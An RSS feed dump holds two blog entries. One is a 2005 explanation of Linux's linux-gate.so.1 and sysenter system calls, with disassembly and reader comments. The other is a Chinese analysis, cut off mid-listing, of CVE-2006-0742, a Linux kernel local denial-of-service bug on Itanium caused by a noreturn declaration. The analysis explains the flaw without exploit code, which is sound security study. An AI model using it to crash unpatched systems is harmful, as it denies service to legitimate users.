00000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
ffffe400 g&nbsp;&nbsp;&nbsp; DF .text&nbsp; 00000014&nbsp;
LINUX_2.5&nbsp;&nbsp; __kernel_vsyscall<br>
00000000 g&nbsp;&nbsp;&nbsp; DO *ABS*&nbsp; 00000000&nbsp;
LINUX_2.5&nbsp;&nbsp; LINUX_2.5<br>
ffffe440 g&nbsp;&nbsp;&nbsp; DF .text&nbsp; 00000007&nbsp;
LINUX_2.5&nbsp;&nbsp; __kernel_rt_sigreturn<br>
ffffe420 g&nbsp;&nbsp;&nbsp; DF .text&nbsp; 00000008&nbsp;
LINUX_2.5&nbsp;&nbsp; __kernel_sigreturn<br>
<br>
<br>
These symbols are entry points for the rt_sigreturn/sigreturn
functions and for making virtual system calls. On the x86 platform
linux-gate.so.1 was initially called linux-vsyscall.so.1, but this
was changed during development to get a common name accurately
reflecting its purpose across platforms: to act as a gateway
between user and kernel space. Not all platforms need virtual
syscalls, but they must be fairly important for x86 to warrant this
elaborate mechanism.<br>
<br>
Traditionally, x86 system calls have been done with interrupts. You
may remember that the way to request operating system functions was
via interrupt 33 (21h) back in the bad old MS-DOS days. Windows
system calls are buried beneath layers of user-mode APIs, but at
some point they too boil down to int 0x2e. Similarly, syscall
implementations in Linux and other *nix kernels have been using int
0x80.<br>
<br>
It turns out, though, that system calls invoked via interrupts are
remarkably slow on the more recent members of the x86 processor
family. An int 0x80 system call can be as much as an order of
magnitude slower on a 2 GHz Pentium 4 than on an 850 MHz Pentium
III. The impact on performance resulting from this could easily be
significant, at least for applications that do a lot of system
calls.<br>
<br>
Intel recognized this problem early on and introduced a more
efficient system call interface in the form of sysenter and sysexit
instructions. This fast system call feature first appeared in the
Pentium Pro processor, but due to hardware bugs it's actually
broken in most of the early CPUs. That's why you may see claims
that sysenter was introduced with Pentium II or even Pentium
III.<br>
<br>
The hardware problems also help explain why it took quite some time
before operating systems started supporting fast system calls. If
we ignore earlier experimental patches, Linux support for sysenter
appeared in December 2002 during kernel 2.5 development. That's ten
years after the instruction was defined! Microsoft started using
sysenter only slightly earlier, in Windows XP.<br>
<br>
You can find out if your Linux machine is using the sysenter
instruction for system calls by disassembling
__kernel_vsyscall:<br>
<br>
objdump -d --start-address=0xffffe400 --stop-address=0xffffe414
linux-gate.dso<br>
<br>
linux-gate.dso:&nbsp;&nbsp;&nbsp;&nbsp; file format elf32-i386<br>
<br>
Disassembly of section .text:<br>
<br>
ffffe400 &lt;__kernel_vsyscall&gt;:<br>
ffffe400:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp; %ecx<br>
ffffe401:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp; %edx<br>
ffffe402:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
55&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp; %ebp<br>
ffffe403:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 89
e5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
mov&nbsp;&nbsp;&nbsp; %esp,%ebp<br>
ffffe405:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0f
34&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sysenter<br>
ffffe407:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
nop&nbsp;&nbsp;&nbsp;<br>
ffffe408:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
nop&nbsp;&nbsp;&nbsp;<br>
ffffe409:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
nop&nbsp;&nbsp;&nbsp;<br>
ffffe40a:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
nop&nbsp;&nbsp;&nbsp;<br>
ffffe40b:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
nop&nbsp;&nbsp;&nbsp;<br>
ffffe40c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
nop&nbsp;&nbsp;&nbsp;<br>
ffffe40d:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
nop&nbsp;&nbsp;&nbsp;<br>
ffffe40e:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eb
f3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
jmp&nbsp;&nbsp;&nbsp; ffffe403 &lt;__kernel_vsyscall+0x3&gt;<br>
ffffe410:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
5d&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
pop&nbsp;&nbsp;&nbsp; %ebp<br>
ffffe411:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
5a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
pop&nbsp;&nbsp;&nbsp; %edx<br>
ffffe412:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
59&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
pop&nbsp;&nbsp;&nbsp; %ecx<br>
ffffe413:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
c3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ret&nbsp;&nbsp;&nbsp;<br>
<br>
<br>
The preferred way of invoking a system call is determined by the
kernel at boot time, and evidently this box uses sysenter. On an
older machine you may see int 0x80 being used instead. In case you
are struggling to make sense of that jump (like I was the first
time I saw it) you might be interested to learn that it's there
because Linus Torvalds is a disgusting pig and proud of it. (It's a
trick to handle restarting of system calls with six
parameters).<br>
<br>
14 August, 2005<br>
&lt;Optimized for Hazardous NullificationFree Intel processor
manuals&gt;<br>
<br>
Similar journal entries:<br>
<br>
&nbsp;&nbsp;&nbsp; * Linking libstdc++ statically<br>
<br>
Feedback<br>
by Hardik Dalwadi<br>
<br>
IT's great......I am always wondering that where is this shared
librar....<br>
<br>
I have search.....Finaly my friend send me this page's link and,
problem solved..........<br>
by Hugo van den Brand<br>
<br>
I think this explanation is great.<br>
<br>
I'm kind of a newbie when it comes to libraries, but you really
explained it very well.<br>
<br>
Keep up the good work, and you're more than worth standing on the
first page of google. You ought to be on top of the list.<br>
by Aleksandr Koltsoff<br>
<br>
I always thought that AMD was the first to introduce sysenter and
sysleave (similar names at least) in K6 CPUs (ages ago) and intel
trailed by couple of years. Don't remember whether the opcodes are
exactly the same, but the idea is.<br>
by Johan<br>
<br>
The AMD syscall/sysret instructions first appeared in the original
K6, which came after the Pentium Pro. I'm not sure whether the fast
system call instructions were part of the acquired NexGen Nx686
design or if those were added by AMD. Who came up with the idea
first? Hard to say. Due to bugs and limitations neither feature
were used in practice until much later.<br>
<br>
The opcodes and semantics are different. AMD later adopted Intel's
sysenter/sysexit, and to make things even more confusing Intel now
supports syscall/sysret – in 64-bit mode only.<br>
by Andrei F.<br>
<br>
Thank you very very much. Can you also explain how the the first C
compiler was compiled? I mean they wrote it, but how did they
compile it?:)<br>
by ash sharma<br>
<br>
First C compiler was written in assembly. "and compiled with JAVA
;-)" I think you have the answer now.<br>
by matth<br>
<br>
Thanks Johan for that nice explanation. I could check easily that
on my P4 system that was the same. But by the way, how comes that
if I compile statically a little C test using the 'open' syscall
and disassemble it : I can see that it uses int 0x80 for the trap.
Why not always using sysenter ?<br>
by Ed Hemphill<br>
<br>
Look at this thread: http://lkml.org/lkml/2005/8/11/237<br>
<br>
Essentially the int 0x80 is setup up as a system call vector in
Linux, and it doesnt have the same effect as issuing a traditional
interrupt. This interrupt is handled with a trap gate.&nbsp; It
doesnt disable other interrupts or clear any of the IF
flags...&nbsp; in other words, I would imagine that calling int
0x80 from glibc (which is where 'open' comes from) is as efficent
on modern processor as sysenter, and is done so for compatibility
reasons.<br>
<br>
Probably a question which should be posted on the glibc mailing
list.<br>
by Ed Hemphill<br>
<br>
Ok - I got curious and researched matth's question some more. I
think what is happening is that 0x80 interrupt on 2.6 kernel is
setup to jump to the syscall fixed page. in this situation the int
0x80 call is the equivalent of a far jump which goes to this page.
there it can use whatever method is setup for syscall
implementation.<br>
<br>
somebody tell me if i am wrong b/c i'm curious...<br>
by Johan<br>
<br>
You're not wrong Ed, although I think you are getting sidetracked
by delving into the kernel-side implementation of int 0x80. It
doesn't matter how that's set up by the kernel; syscalls made in
this manner will still be slower.<br>
<br>
matth sees int 0x80 in his statically linked executables because
that's what his static library uses for making syscalls. The static
library does not use sysenter directly for its syscall
implementation simply because that's not a supported way of making
syscalls in Linux. There are only two ways: either you execute int
0x80 or you make a call to __kernel_vsyscall in the shared page I
describe above (which in turn uses sysenter if appropriate).<br>
<br>
The obvious follow-up question is why the static library code does
not call __kernel_vsyscall (since that would be faster). Given
suitable start-up code a statically linked executable could indeed
figure out whether the fast system call support is available and
use it if so, but not all static libraries do this.<br>
<br>
Feedback is closed for this entry.<br>
Home<br>
<br>
Johan Petersson<br>
&nbsp;&nbsp;&nbsp; spock@trilithium.com<br>
&nbsp;&nbsp;&nbsp; public PGP key<br>
<br>
Complete archive<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * February 2006<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * November 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * October 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * September 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * August 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * July 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * June 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * May 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * April 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * March 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * February 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * January 2005<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * December 2004<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * November 2004<br>
<br>
&nbsp;&nbsp;&nbsp; * XHTML 1.0 Strict<br>
&nbsp;&nbsp;&nbsp; * RSS 1.0<br>
&nbsp;&nbsp;&nbsp; * Computers Blog Top Sites<br>
<br>
Copyright ? 2006 Johan Petersson. All rights reserved.
]]></description><guid>http://www.i170.com/Article/20895</guid><trackback:ping>http://www.i170.com/Article/20895/trackback</trackback:ping><comments>http://www.i170.com/Article/20895#comment</comments><wfw:commentRss>http://www.i170.com/Article/20895/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/18459</link><title><![CDATA[Linux Kernel die_if_kernel本地拒绝服务漏洞分析]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Mon, 13 Mar 2006 17:13:13  +0800</pubDate><description><![CDATA[Linux Kernel die_if_kernel本地拒绝服务漏洞分析<br>
<br>
2006/03/13<br>
Written by grip2 &lt;gript2@hotmail.com&gt;<br>
<br>
漏洞描述<br>
---------<br>
BUGTRAQ ID: 16993<br>
CVE ID: CVE-2006-0742<br>
<br>
The Linux kernel is prone to a local denial-of-service
vulnerability. This issue is due to a design error and arises in
the 'die_if_kernel()' function.<br>
<br>
This vulnerability allows local users to panic the kernel, denying
further service to legitimate users.<br>
<br>
This issue affects Linux kernel versions prior to 2.6.15.6 running
on Itanium systems.<br>
<br>
参考信息<br>
---------<br>
<br>
http://www.securityfocus.com/bid/16993/info<br>
http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.15.6<br>
<br>
背景信息<br>
---------<br>
<br>
漏洞分析<br>
---------<br>
<p class="partingline">[separator]</p>
<br>
这个漏洞出现在arch/ia64/kernel/unaligned.c文件中。在unaligned.c文件中使用了如下语句来<br>
声明外部函数die_if_kernel：<br>
<br>
&nbsp;&nbsp;&nbsp; extern void die_if_kernel(char *str, struct
pt_regs *regs, long err) __attribute__ ((noreturn));<br>
<br>
注意上面的声明使用了__attribute__ ((noreturn))属性，正是这个noreturn属性导致了漏洞的产生。<br>
<br>
来看GCC文档对noreturn属性的部分描述：<br>
<br>
`noreturn'<br>
&nbsp;&nbsp;&nbsp;&nbsp; A few standard library functions, such as
`abort' and `exit',<br>
&nbsp;&nbsp;&nbsp;&nbsp; cannot return.&nbsp; GCC knows this
automatically.&nbsp; Some programs define<br>
&nbsp;&nbsp;&nbsp;&nbsp; their own functions that never
return.&nbsp; You can declare them<br>
&nbsp;&nbsp;&nbsp;&nbsp; `noreturn' to tell the compiler this
fact.&nbsp; For example,<br>
<p class="partingline">[separator]</p>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void fatal
() __attribute__ ((noreturn));<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fatal (/*
... */)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
/* ... */ /* Print error message. */ /* ... */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
exit (1);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp; The `noreturn' keyword tells the compiler
to assume that `fatal'<br>
&nbsp;&nbsp;&nbsp;&nbsp; cannot return.&nbsp; It can then optimize
without regard to what would<br>
&nbsp;&nbsp;&nbsp;&nbsp; happen if `fatal' ever did return.&nbsp;
This makes slightly better<br>
&nbsp;&nbsp;&nbsp;&nbsp; code.&nbsp; More importantly, it helps
avoid spurious warnings of<br>
&nbsp;&nbsp;&nbsp;&nbsp; uninitialized variables.<br>
<br>
即是说对带有noreturn属性声明的函数，GCC编译器优化时将假设此函数调用不会返回，即使此函数<br>
有可能返回，编译器也将不考虑相关问题。下面我们来编写一个小程序，编译一下，看GCC到底如何<br>
对待声明了noreturn属性的函数。<br>
<br>
grip2@debian:~/tmp$ cat
foo.c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
<br>
int foo() __attribute__ ((noreturn));<br>
<br>
int main()<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foo();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>
}<br>
<br>
int foo()<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>
}<br>
<br>
grip2@debian:~/tmp$ gcc foo.c -S -o&nbsp; foo-noreturn.s<br>
grip2@debian:~/tmp$ cat foo-noreturn.s<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .file&nbsp;&nbsp;
"foo.c"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .text<br>
.globl main<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .type&nbsp;&nbsp; main,
@function<br>
main:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp;
%ebp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
%esp, %ebp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; subl&nbsp;&nbsp;&nbsp;
$8, %esp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; andl&nbsp;&nbsp;&nbsp;
$-16, %esp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
$0, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addl&nbsp;&nbsp;&nbsp;
$15, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addl&nbsp;&nbsp;&nbsp;
$15, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shrl&nbsp;&nbsp;&nbsp;
$4, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sall&nbsp;&nbsp;&nbsp;
$4, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; subl&nbsp;&nbsp;&nbsp;
%eax, %esp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;
foo&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &lt;--
调用foo函数<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .size&nbsp;&nbsp; main,
.-main&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&lt;-- 在调用之后没有任何处理<br>
.globl foo<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .type&nbsp;&nbsp; foo,
@function<br>
foo:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp;
%ebp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
%esp, %ebp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
$0, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; popl&nbsp;&nbsp;&nbsp;
%ebp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .size&nbsp;&nbsp; foo,
.-foo<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .ident&nbsp; "GCC: (GNU)
4.0.2"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.section&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.note.GNU-stack,"",@progbits<br>
<br>
通过上面的foo.c的汇编代码，可以看出当使用noreturn属性声明foo()函数时，main中在调用了<br>
foo函数后没有加入任何语句(换句话说，GCC将出现noreturn调用的路径上的后续代码都优化掉了)，<br>
而在没有使用noreturn属性声明的时候main在foo调用之后的是有返回处理等操作的：<br>
<br>
grip2@debian:~/tmp$ cat
foo.s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .file&nbsp;&nbsp;
"foo.c"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .text<br>
.globl main<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .type&nbsp;&nbsp; main,
@function<br>
main:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;
foo<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
$0, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; leave<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .size&nbsp;&nbsp; main,
.-main<br>
.globl foo<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .type&nbsp;&nbsp; foo,
@function<br>
&nbsp;&nbsp;&nbsp; ...<br>
<br>
通过上面的分析可以看出，如果带有noreturn属性声明的函数出现了返回的情况之后，将会导致<br>
执行路径不可预测的情况出现。<br>
<br>
好，我们再回到内核的arch/ia64/kernel/unaligned.c中，unaligned.c文件中共出现了三处对<br>
die_if_kernel函数的调用。可想而知，由于对die_if_kernel函数的声明使用了noreturn属性，<br>
因此所有调用了die_if_kernel函数处都可能存在潜在的问题。更进一步的查看调用处的相关代码，<br>
最后确认有一处代码由于做了额外的检查，因此不会出现问题：<br>
<br>
1485&nbsp;&nbsp; failure:<br>
1486&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* something
went wrong... */<br>
1487&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if
(!user_mode(regs)) {<br>
1488&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if (eh) {<br>
1489&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ia64_handle_exception(regs, eh);<br>
1490&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
goto done;<br>
1491&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
1492&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
die_if_kernel("error during unaligned kernel access\n", regs,
ret);<br>
1493&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
/* NOT_REACHED */<br>
1494&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
<br>
1487处的条件检查至少保证了对于die_if_kernel目前的实现而言不会出现die_if_kernel返回的情况。<br>
<br>
下面是对存在问题的两处代码的分析：<br>
<br>
668&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ld.x6_op ==
1 || ld.x6_op == 3) {<br>
669&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
printk(KERN_ERR "%s: register update on speculative load, error\n",
__FUNCTION__);<br>
670&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
die_if_kernel("unaligned reference on speculative load with
register update\n",<br>
671&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
regs, 30);<br>
672&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
<br>
此处调用是否会引发问题，要看代码片段优化后出现的位置。根据语义来看，此处调用可能考虑到了die_if_kernel<br>
返回的情况，但是由于noreturn属性的存在，优化后的代码布局未知，所以还是有可能出现不可预测的问题的。<br>
<br>
另外一处有问题的调用代码如下：<br>
<br>
1309&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if
(ia64_psr(regs)-&gt;be) {<br>
1310&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
/* we don't support big-endian accesses */<br>
1311&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
